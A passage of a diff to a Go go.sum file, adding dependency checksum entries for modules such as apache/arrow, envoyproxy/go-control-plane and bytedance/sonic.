h1:+3IMCy2vIlbG1XG/0ggNQv0SvxCAIpPM5b1nCz56Xno= +github.com/CloudyKit/jet/v6 v6.2.0/go.mod h1:d3ypHeIRNo2+XyqnGA8s+aphtcVpjP5hPwP/Lzo7Ro4= +github.com/DataDog/datadog-go v3.2.0+incompatible/go.mod h1:LButxg5PwREeZtORoXG3tL4fMGNddJ+vMq1mwgfaqoQ= +github.com/JohnCGriffin/overflow v0.0.0-20211019200055-46fa312c352c/go.mod h1:X0CRv0ky0k6m906ixxpzmDRLvX58TFUKS2eePweuyxk= +github.com/Joker/hpp v1.0.0/go.mod h1:8x5n+M1Hp5hC0g8okX3sR3vFQwynaX/UgSOM9MeBKzY= +github.com/Joker/jade v1.1.3/go.mod h1:T+2WLyt7VH6Lp0TRxQrUYEs64nRc83wkMQrfeIQKduM= github.com/Masterminds/goutils v1.1.1 h1:5nUrii3FMTL5diU80unEVvNevw1nH4+ZV4DSLVJLSYI= github.com/Masterminds/goutils v1.1.1/go.mod h1:8cTjp+g8YejhMuvIA5y2vz3BpJxksy863GQaJW2MFNU= github.com/Masterminds/semver v1.4.2/go.mod h1:MB6lktGJrhw8PrUyiEoblNEGEQ+RzHPF078ddwwvV3Y= @@ -45,6 +771,7 @@ github.com/Masterminds/sprig v2.22.0+incompatible/go.mod h1:y6hNFY5UBTIWBxnzTeuN github.com/OneOfOne/xxhash v1.2.2 h1:KMrpdQIwFcEqXDklaen+P1axHaj9BSKzvpUUfnHldSE= github.com/OneOfOne/xxhash v1.2.2/go.mod h1:HSdplMjZKSmBqAxg5vPj2TmRDmfkzw+cTzAElWljhcU= github.com/RaveNoX/go-jsoncommentstrip v1.0.0/go.mod h1:78ihd09MekBnJnxpICcwzCMzGrKSKYe4AqU6PDYYpjk= +github.com/Shopify/goreferrer v0.0.0-20220729165902-8cddb4f5de06/go.mod h1:7erjKLwalezA0k99cWs5L11HWOAPNjdUZ6RxH1BXbbM= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da h1:KjTM2ks9d14ZYCvmHS9iAKVt9AyzRSqNU1qabPih5BY= github.com/aead/chacha20 v0.0.0-20180709150244-8b13a72661da/go.mod h1:eHEWzANqSiWQsof+nXEI9bUVUyV6F53Fp89EuCh2EAA= github.com/aead/chacha20poly1305 v0.0.0-20170617001512-233f39982aeb/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= @@ -52,99 +779,217 @@ github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29 h1:1DcvRPZOd github.com/aead/chacha20poly1305 v0.0.0-20201124145622-1a5aba2a8b29/go.mod h1:UzH9IX1MMqOcwhoNOIjmTQeAxrFgzs50j4golQtXXxU= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635 h1:52m0LGchQBBVqJRyYYufQuIbVqRawmubW3OFGqK1ekw= github.com/aead/poly1305 v0.0.0-20180717145839-3fee0db0b635/go.mod h1:lmLxL+FV291OopO93Bwf9fQLQeLyt33VJRUg5VJ30us= +github.com/ajg/form v1.5.1/go.mod h1:uL1WgH+h2mgNtvBq0339dVnzXdBETtL2LeUXaIv25UY= +github.com/ajstarks/deck v0.0.0-20200831202436-30c9fc6549a9/go.mod h1:JynElWSGnm/4RlzPXRlREEwqTHAN3T56Bv2ITsFT3gY= +github.com/ajstarks/deck/generate v0.0.0-20210309230005-c3f852c02e19/go.mod h1:T13YZdzov6OU0A1+RfKZiZN9ca6VeKdBdyDV+BY97Tk= +github.com/ajstarks/svgo v0.0.0-20180226025133-644b8db467af/go.mod h1:K08gAheRH3/J6wwsYMMT4xOr94bZjxIelGM0+d/wbFw= +github.com/ajstarks/svgo v0.0.0-20211024235047-1546f124cd8b/go.mod h1:1KcenG0jGWcpt8ov532z81sp/kMMUG485J2InIOyADM= github.com/alecthomas/template v0.0.0-20160405071501-a0175ee3bccc/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/template v0.0.0-20190718012654-fb15b899a751/go.mod h1:LOuyumcjzFXgccqObfd/Ljyb9UuFJ6TxHnclSeseNhc= github.com/alecthomas/units v0.0.0-20151022065526-2efee857e7cf/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190717042225-c3de453c63f4/go.mod h1:ybxpYRFXyAe+OPACYpWeL0wqObRcbAqCMya13uyzqw0= github.com/alecthomas/units v0.0.0-20190924025748-f65c72e2690d/go.mod h1:rBZYJk541a8SKzHPHnH3zbiI+7dagKZ0cgpgrD7Fyho= +github.com/andybalholm/brotli v1.0.4/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= +github.com/andybalholm/brotli v1.0.5/go.mod h1:fO7iG3H7G2nSZ7m0zPUDn85XEX2GTukHGRSepvi9Eig= github.com/antihax/optional v1.0.0/go.mod h1:uupD/76wgC+ih3iEmQUL+0Ugr19nfwCT1kdvxnR2qWY= github.com/aokoli/goutils v1.0.1/go.mod h1:SijmP0QR8LtwsmDs8Yii5Z/S4trXFGFC2oO5g9DP+DQ= +github.com/apache/arrow/go/v10 v10.0.1/go.mod h1:YvhnlEePVnBS4+0z3fhPfUy7W1Ikj0Ih0vcRo/gZ1M0= +github.com/apache/arrow/go/v11 v11.0.0/go.mod h1:Eg5OsL5H+e299f7u5ssuXsuHQVEGC4xei5aX110hRiI= +github.com/apache/arrow/go/v12 v12.0.0/go.mod h1:d+tV/eHZZ7Dz7RPrFKtPK02tpr+c9/PEd/zm8mDS9Vg= +github.com/apache/thrift v0.16.0/go.mod h1:PHK3hniurgQaNMZYaCLEqXKsYK8upmhPbmdP2FXSqgU= github.com/apapsch/go-jsonmerge/v2 v2.0.0 h1:axGnT1gRIfimI7gJifB699GoE/oq+F2MU7Dml6nw9rQ= github.com/apapsch/go-jsonmerge/v2 v2.0.0/go.mod h1:lvDnEdqiQrp0O42VQGgmlKpxL1AP2+08jFMw88y4klk= +github.com/armon/circbuf v0.0.0-20150827004946-bbbad097214e/go.mod h1:3U/XgcO3hCbHZ8TKRvWD2dDTCfh9M9ya+I9JpbB7O8o= github.com/armon/consul-api v0.0.0-20180202201655-eb2c6b5be1b6/go.mod h1:grANhF5doyWs3UAsr3K4I6qtAmlQcZDesFNEHPZAzj8= +github.com/armon/go-metrics v0.0.0-20180917152333-f0300d1749da/go.mod h1:Q73ZrmVTwzkszR9V5SSuryQ31EELlFMUz1kKyl939pY= +github.com/armon/go-metrics v0.4.0/go.mod h1:E6amYzXo6aW1tqzoZGT755KkbgrJsSdpwZ+3JqfkOG4= +github.com/armon/go-radix v0.0.0-20180808171621-7fddfc383310/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/armon/go-radix v1.0.0/go.mod h1:ufUuZ+zHj4x4TnLV4JWEpy2hxWSpsRywHrMgIH9cCH8= +github.com/aymerick/douceur v0.2.0/go.mod h1:wlT5vV2O3h55X9m7iVYN0TBM0NH/MmbLnd30/FjWUq4= +github.com/benbjohnson/clock v1.1.0/go.mod h1:J11/hYXuz8f4ySSvYwY0FKfm+ezbsZBKZxNJlLklBHA= github.com/beorn7/perks v0.0.0-20180321164747-3a771d992973/go.mod h1:Dwedo/Wpr24TaqPxmxbtue+5NUziq4I4S80YR8gNf3Q= github.com/beorn7/perks v1.0.0/go.mod h1:KWe93zE9D1o94FZ5RNwFwVgaQK1VOXiVxmqh+CedLV8= github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= +github.com/bgentry/speakeasy v0.1.0/go.mod h1:+zsyZBPWlz7T6j88CTgSN5bM796AkVf0kBD4zp0CCIs= +github.com/blang/semver/v4 v4.0.0/go.mod h1:IbckMUScFkM3pff0VJDNKRiT6TG/YpiHIM2yvyW5YoQ= github.com/bmatcuk/doublestar v1.1.1/go.mod h1:UD6OnuiIn0yFxxA2le/rnRU1G4RaI4UvFv1sNto9p6w= +github.com/boombuler/barcode v1.0.0/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= +github.com/boombuler/barcode v1.0.1/go.mod h1:paBWMcWSl3LHKBqUq+rly7CNSldXjb2rDl3JlRe0mD8= +github.com/bsm/ginkgo/v2 v2.9.5/go.mod h1:SwYbGRRDovPVboqFv0tPTcG1sN61LM1Z4ARdbAV9g4c= +github.com/bsm/gomega v1.26.0/go.mod h1:JyEr/xRbxbtgWNi8tIEVPUYZ5Dzef52k01W3YH0H+O0= +github.com/bytedance/sonic v1.5.0/go.mod h1:ED5hyg4y6t3/9Ku1R6dU/4KyJ48DZ4jPhfY1O2AihPM= +github.com/bytedance/sonic v1.9.1/go.mod h1:i736AoUSYt75HyZLoJW9ERYxcy6eaN6h4BZXU064P/U= +github.com/bytedance/sonic v1.10.0-rc/go.mod h1:ElCzW+ufi8qKqNW0FY314xriJhyJhuoJ3gFZdAHF7NM= +github.com/bytedance/sonic v1.10.0-rc3/go.mod h1:iZcSUejdk5aukTND/Eu/ivjQuEL0Cu9/rf50Hi0u/g4= github.com/census-instrumentation/opencensus-proto v0.2.1/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.3.0/go.mod h1:f6KPmirojxKA12rnyqOA5BBL4O983OfeGPqjHWSTneU= +github.com/census-instrumentation/opencensus-proto v0.4.1/go.mod h1:4T9NM4+4Vw91VeyqjLS6ao50K5bOcLKN6Q42XnYaRYw= github.com/cespare/xxhash v1.1.0 h1:a6HrQnmkObjyL+Gs60czilIUGqrzKutQD6XZog3p+ko= github.com/cespare/xxhash v1.1.0/go.mod h1:XrSqR1VqqWfGrhpAt58auRo0WTKS1nRRg3ghfAqPWnc= github.com/cespare/xxhash/v2 v2.1.1/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.1.2/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= +github.com/cheekybits/is v0.0.0-20150225183255-68e9c0620927/go.mod h1:h/aW8ynjgkuj+NQRlZcDbAbM1ORAbXjXX77sX7T289U= +github.com/chenzhuoyu/base64x v0.0.0-20211019084208-fb5309c8db06/go.mod h1:DH46F32mSOjUmXrMHnKwZdA8wcEefY7UVqBKYGjpdQY= +github.com/chenzhuoyu/base64x v0.0.0-20221115062448-fe3a3abad311/go.mod h1:b583jCggY9gE99b6G5LEC39OIiVsWj+R97kbl5odCEk= +github.com/chenzhuoyu/base64x v0.0.0-20230717121745-296ad89f973d/go.mod h1:8EPpVsBuRksnlj1mLy4AWzRNQYxauNi62uWcE3to6eA= +github.com/chenzhuoyu/iasm v0.9.0/go.mod h1:Xjy2NpN3h7aUqeqM+woSuuvxmIe6+DDsiNLIrkAmYog= github.com/chzyer/logex v1.1.10/go.mod h1:+Ywpsq7O8HXn0nuIou7OrIPyXbp3wmkHB+jjWRnGsAI= github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e/go.mod h1:nSuG5e5PlCu98SY8svDHJxuZscDgtXS6KTTbou5AhLI= github.com/chzyer/test v0.0.0-20180213035817-a1ea475d72b1/go.mod h1:Q3SI9o4m/ZMnBNeIyt5eFwwo7qiLfzFZmjNmxjkiQlU= +github.com/circonus-labs/circonus-gometrics v2.3.1+incompatible/go.mod h1:nmEj6Dob7S7YxXgwXpfOuvO54S+tGdZdw9fuRZt25Ag= +github.com/circonus-labs/circonusllhist v0.1.3/go.mod h1:kMXHVDlOchFAehlya5ePtbp5jckzBHf4XRpQvBOLI+I= github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= +github.com/cncf/udpa/go v0.0.0-20200629203442-efcf912fb354/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/udpa/go v0.0.0-20220112060539-c52dc94e7fbe/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210805033703-aa0b78936158/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20220314180256-7f1daf1720fc/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230105202645-06c439db220b/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230310173818-32f1caf87195/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20230607035331-e9ce68804cb4/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/cockroachdb/apd v1.1.0 h1:3LFP3629v+1aKXU5Q37mxmRxX/pIu1nijXydLShEq5I= github.com/cockroachdb/apd v1.1.0/go.mod h1:8Sl8LxpKi29FqWXR16WEFZRNSz3SoPzUzeMeY4+DwBQ= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4 h1:5mhTmqO2f6QXPlIAGCEtCYR2MHNDLVkwaGWiSbffeQU= github.com/codenotary/daemon v0.0.0-20200507161650-3d4bcb5230f4/go.mod h1:PFDPquCi+3LI5PpAKS/8LvJBHTfkdsEXfGtANGx9hH4= github.com/coreos/bbolt v1.3.2/go.mod h1:iRUV2dpdMOn7Bo10OQBFzIJO9kkE559Wcmn+qkEiiKk= github.com/coreos/etcd v3.3.10+incompatible/go.mod h1:uF7uidLiAD3TWHmW31ZFd/JWoc32PjwdhPthX9715RE= +github.com/coreos/go-etcd v2.0.0+incompatible/go.mod h1:Jez6KQU2B/sWsbdaef3ED8NzMklzPG4d5KIOhIy30Tk= github.com/coreos/go-semver v0.2.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= +github.com/coreos/go-semver v0.3.0/go.mod h1:nnelYz7RCh+5ahJtPPxZlU+153eP4D4r3EedlOD2RNk= github.com/coreos/go-systemd v0.0.0-20190321100706-95778dfbb74e/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= github.com/coreos/go-systemd v0.0.0-20190719114852-fd7a80b32e1f/go.mod h1:F5haX7vjVVG0kc13fIWeqUViNPyEJxv/OmvnBo0Yme4= +github.com/coreos/go-systemd/v22 v22.3.2/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= github.com/coreos/pkg v0.0.0-20180928190104-399ea9e2e55f/go.mod h1:E3G3o1h8I7cfcXa63jLwjI0eiQQMgzzUDFVpN/nH/eA= +github.com/cpuguy83/go-md2man v1.0.10 h1:BSKMNlYxDvnunlTymqtgONjNnaRV1sTpcovwwjF22jk= +github.com/cpuguy83/go-md2man v1.0.10/go.mod h1:SmD6nW6nTyfqj6ABTjUi3V3JVMnlJmwcJI5acqYI6dE= github.com/cpuguy83/go-md2man/v2 v2.0.0/go.mod h1:maD7wRr/U5Z6m/iR4s+kqSMx2CaBsrgA7czyZG/E6dU= github.com/cpuguy83/go-md2man/v2 v2.0.2 h1:p1EgwI/C7NhT0JmVkwCD2ZBK8j4aeHQX2pMHHBfMQ6w= github.com/cpuguy83/go-md2man/v2 v2.0.2/go.mod h1:tgQtvFlXSQOSOSIRvRPT7W67SCa46tRHOmNcaadrF8o= github.com/creack/pty v1.1.7/go.mod h1:lj5s0c3V2DBrqTV7llrYr5NG6My20zk30Fl46Y7DoTY= +github.com/creack/pty v1.1.9/go.mod h1:oKZEueFk5CKHvIhNR5MUki03XCEU+Q6VDXinZuGJ33E= github.com/davecgh/go-spew v0.0.0-20161028175848-04cdfd42973b/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dgraph-io/badger/v2 v2.2007.4/go.mod h1:vSw/ax2qojzbN6eXHIx6KPKtCSHJN/Uz0X0VPruTIhk= github.com/dgraph-io/ristretto v0.0.1/go.mod h1:T40EBc7CJke8TkpiYfGGKAeFjSaxuFXhuXRyumBd6RE= github.com/dgraph-io/ristretto v0.0.2 h1:a5WaUrDa0qm0YrAAS1tUykT5El3kt62KNZZeMxQn3po= github.com/dgraph-io/ristretto v0.0.2/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= +github.com/dgraph-io/ristretto v0.0.3-0.20200630154024-f66de99634de h1:t0UHb5vdojIDUqktM6+xJAfScFBsVpXZmqC9dsgJmeA= +github.com/dgraph-io/ristretto v0.0.3-0.20200630154024-f66de99634de/go.mod h1:KPxhHT9ZxKefz+PCeOGsrHpl1qZ7i70dGTu2u+Ahh6E= github.com/dgrijalva/jwt-go v3.2.0+incompatible/go.mod h1:E3ru+11k8xSBh+hMPgOLZmtrrCbhqsmaPHjLKYnJCaQ= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2 h1:tdlZCpZ/P9DhczCTSixgIKmwPv6+wP5DGjqLYw5SUiA= github.com/dgryski/go-farm v0.0.0-20190423205320-6a90982ecee2/go.mod h1:SqUrOPUnsFjfmXRMNPybcSiG0BgUW2AuFH8PAnS2iTw= +github.com/dgryski/go-rendezvous v0.0.0-20200823014737-9f7001d12a5f/go.mod h1:cuUVRXasLTGF7a8hSLbxyZXjz+1KgoB3wDUb6vlszIc= github.com/dgryski/go-sip13 v0.0.0-20181026042036-e10d5fee7954/go.mod h1:vAd38F8PWV+bWy6jNmig1y/TA+kYO4g3RSRF0IAv0no= +github.com/djherbis/atime v1.1.0/go.mod h1:28OF6Y8s3NQWwacXc5eZTsEsiMzp7LF8MbXE+XJPdBE= +github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815/go.mod h1:WwZ+bS3ebgob9U8Nd0kOddGdZWjyMGR8Wziv+TBNwSE= +github.com/dustin/go-humanize v1.0.0/go.mod h1:HtrtbFcZ19U5GC7JDqmcUSB87Iq5E25KnS6fMYU6eOk= +github.com/dustin/go-humanize v1.0.1/go.mod h1:Mu1zIs6XwVuF/gI1OepvI0qD18qycQx+mFykh5fBlto= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= +github.com/envoyproxy/go-control-plane v0.9.7/go.mod h1:cwu0lG7PUMfa9snN8LXBig5ynNVH9qI8YYLbd1fK2po= +github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210217033140-668b12f5399d/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= +github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.9.10-0.20210907150352-cf90f659a021/go.mod h1:AFq3mo9L8Lqqiid3OhADV3RfLJnjiw63cSpi+fDTRC0= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= +github.com/envoyproxy/go-control-plane v0.10.3/go.mod h1:fJJn/j26vwOu972OllsvAgJJM//w9BV6Fxbg2LuVd34= +github.com/envoyproxy/go-control-plane v0.11.0/go.mod h1:VnHyVMpzcLvCFt9yUz1UnCwHLhwx1WguiVDV7pTG/tI= +github.com/envoyproxy/go-control-plane v0.11.1-0.20230524094728-9239064ad72f/go.mod h1:sfYdkwUW4BA3PbKjySwjJy+O4Pu0h62rlqCMHNk+K+Q= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/envoyproxy/protoc-gen-validate v0.3.0-java/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= +github.com/envoyproxy/protoc-gen-validate v0.6.7/go.mod h1:dyJXwwfPK2VSqiB9Klm1J6romD608Ba7Hij42vrOBCo= +github.com/envoyproxy/protoc-gen-validate v0.9.1/go.mod h1:OKNgG7TCp5pF4d6XftA0++PMirau2/yoOwVac3AbF2w= +github.com/envoyproxy/protoc-gen-validate v0.10.0/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= github.com/envoyproxy/protoc-gen-validate v0.10.1 h1:c0g45+xCJhdgFGw7a5QAfdS4byAbud7miNWJ1WwEVf8= github.com/envoyproxy/protoc-gen-validate v0.10.1/go.mod h1:DRjgyB0I43LtJapqN6NiRwroiAU2PaFuvk/vjgh61ss= +github.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4= +github.com/fatih/color v1.9.0/go.mod h1:eQcE1qtQxscV5RaZvpXrrb8Drkc3/DdQ+uUYCNjL+zU= github.com/fatih/color v1.13.0 h1:8LOYc1KYPPmyKMuN8QV2DNRWNbLo6LZ0iLs8+mlH53w= github.com/fatih/color v1.13.0/go.mod h1:kLAiJbzzSOZDVNGyDpeOxJ47H46qBXwg5ILebYFFOfk= +github.com/fatih/color v1.15.0 h1:kOqh6YHBtK8aywxGerMG2Eq3H6Qgoqeo13Bk2Mv/nBs= +github.com/fatih/color v1.15.0/go.mod h1:0h5ZqXfHYED7Bhv2ZJamyIOUej9KtShiJESRwBDUSsw= +github.com/fatih/structs v1.1.0/go.mod h1:9NiDSp5zOcgEDl+j00MP/WkGVPOlPRLejGD8Ga6PJ7M= +github.com/flosch/pongo2/v4 v4.0.2/go.mod h1:B5ObFANs/36VwxxlgKpdchIJHMvHB562PW+BWPhwZD8= +github.com/fogleman/gg v1.2.1-0.20190220221249-0403632d5b90/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= +github.com/fogleman/gg v1.3.0/go.mod h1:R/bRT+9gY/C5z7JzPU0zXsXHKM4/ayA+zqcVNZzPa1k= github.com/frankban/quicktest v1.14.3 h1:FJKSZTDHjyhriyC81FLQ0LY93eSai0ZyR/ZIkd3ZUKE= +github.com/frankban/quicktest v1.14.3/go.mod h1:mgiwOwqx65TmIk1wJ6Q7wvnVMocbUorkibMOrVTHZps= github.com/fsnotify/fsnotify v1.4.7/go.mod h1:jwhsz4b93w/PPRr/qN1Yymfu8t87LnFCMoQvtojpjFo= github.com/fsnotify/fsnotify v1.4.9/go.mod h1:znqG4EE+3YCdAaPaxE2ZRY/06pZUdp0tY4IgpuI1SZQ= github.com/fsnotify/fsnotify v1.6.0 h1:n+5WquG0fcWoWp6xPWfHdbskMCQaFnG6PfBrh1Ky4HY= github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= +github.com/gabriel-vasile/mimetype v1.4.2/go.mod h1:zApsH/mKG4w07erKIaJPFiX0Tsq9BFQgN3qGY5GnNgA= github.com/ghodss/yaml v1.0.0 h1:wQHKEahhL6wmXdzwWG11gIVCkOv05bNOh+Rxn0yngAk= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= +github.com/gin-contrib/sse v0.1.0/go.mod h1:RHrZQHXnP2xjPF+u1gW/2HnVO7nvIa9PG3Gm+fLHvGI= +github.com/gin-gonic/gin v1.9.1/go.mod h1:hPrL7YrpYKXt5YId3A/Tnip5kqbEAP+KLuI3SUcPTeU= github.com/gizak/termui/v3 v3.1.0 h1:ZZmVDgwHl7gR7elfKf1xc4IudXZ5qqfDh4wExk4Iajc= github.com/gizak/termui/v3 v3.1.0/go.mod h1:bXQEBkJpzxUAKf0+xq9MSWAvWZlE7c+aidmyFlkYTrY= +github.com/go-fonts/dejavu v0.1.0/go.mod h1:4Wt4I4OU2Nq9asgDCteaAaWZOV24E+0/Pwo0gppep4g= +github.com/go-fonts/latin-modern v0.2.0/go.mod h1:rQVLdDMK+mK1xscDwsqM5J8U2jrRa3T0ecnM9pNujks= +github.com/go-fonts/liberation v0.1.1/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/liberation v0.2.0/go.mod h1:K6qoJYypsmfVjWg8KOVDQhLc8UDgIK2HYqyqAO9z7GY= +github.com/go-fonts/stix v0.1.0/go.mod h1:w/c1f0ldAUlJmLBvlbkvVXLAD+tAMqobIIQpmnUIzUY= github.com/go-gl/glfw v0.0.0-20190409004039-e6da0acd62b1/go.mod h1:vR7hzQXu2zJy9AVAgeJqvqgH9Q5CA+iKCZ2gyEVpxRU= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20191125211704-12ad95a8df72/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-gl/glfw/v3.3/glfw v0.0.0-20200222043503-6f7a984d4dc4/go.mod h1:tQ2UAYgL5IevRw8kRxooKSPJfGvJ9fJQFa0TUsXzTg8= github.com/go-kit/kit v0.8.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/kit v0.9.0/go.mod h1:xBxKIO96dXMWWy0MnWVtmwkA9/13aqxPnvrjFYMA2as= github.com/go-kit/log v0.1.0/go.mod h1:zbhenjAZHb184qTLMA9ZjW7ThYL0H2mk7Q6pNt4vbaY= +github.com/go-latex/latex v0.0.0-20210118124228-b3d85cf34e07/go.mod h1:CO1AlKB2CSIqUrmQPqA0gdRIlnLEY0gK5JGjh37zN5U= +github.com/go-latex/latex v0.0.0-20210823091927-c0d11ff05a81/go.mod h1:SX0U8uGpxhq9o2S/CELCSUxEWWAuoCUcVCQWv7G2OCk= github.com/go-logfmt/logfmt v0.3.0/go.mod h1:Qt1PoO58o5twSAckw1HlFXLmHsOX5/0LbT9GBnD5lWE= github.com/go-logfmt/logfmt v0.4.0/go.mod h1:3RMwSq7FuexP4Kalkev3ejPJsZTpXXBr9+V4qmtdjCk= github.com/go-logfmt/logfmt v0.5.0/go.mod h1:wCYkCAKZfumFQihp8CzCvQ3paCTfi41vtzG1KdI/P7A= +github.com/go-logr/logr v1.2.3/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-logr/logr v1.2.4/go.mod h1:jdQByPbusPIv2/zmleS9BjJVeZ6kBagPoEUsqbVz/1A= +github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/go-pdf/fpdf v0.5.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= +github.com/go-pdf/fpdf v0.6.0/go.mod h1:HzcnA+A23uwogo0tp9yU+l3V+KXhiESpt1PMayhOh5M= 